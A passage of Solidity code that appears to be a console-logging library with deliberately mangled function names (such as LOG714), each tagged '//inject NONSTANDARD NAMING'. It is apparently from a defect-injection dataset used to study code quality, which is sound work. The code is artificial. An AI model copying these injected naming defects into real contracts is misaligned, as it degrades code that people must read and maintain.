LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0)); } function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0)); } function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0)); } function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0)); } function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0)); } function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0)); } function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0)); } function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0)); } function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0)); } function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0)); } function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0)); } function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOG714(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1)); } function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1)); } function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1)); } function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1)); } function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, uint p3) 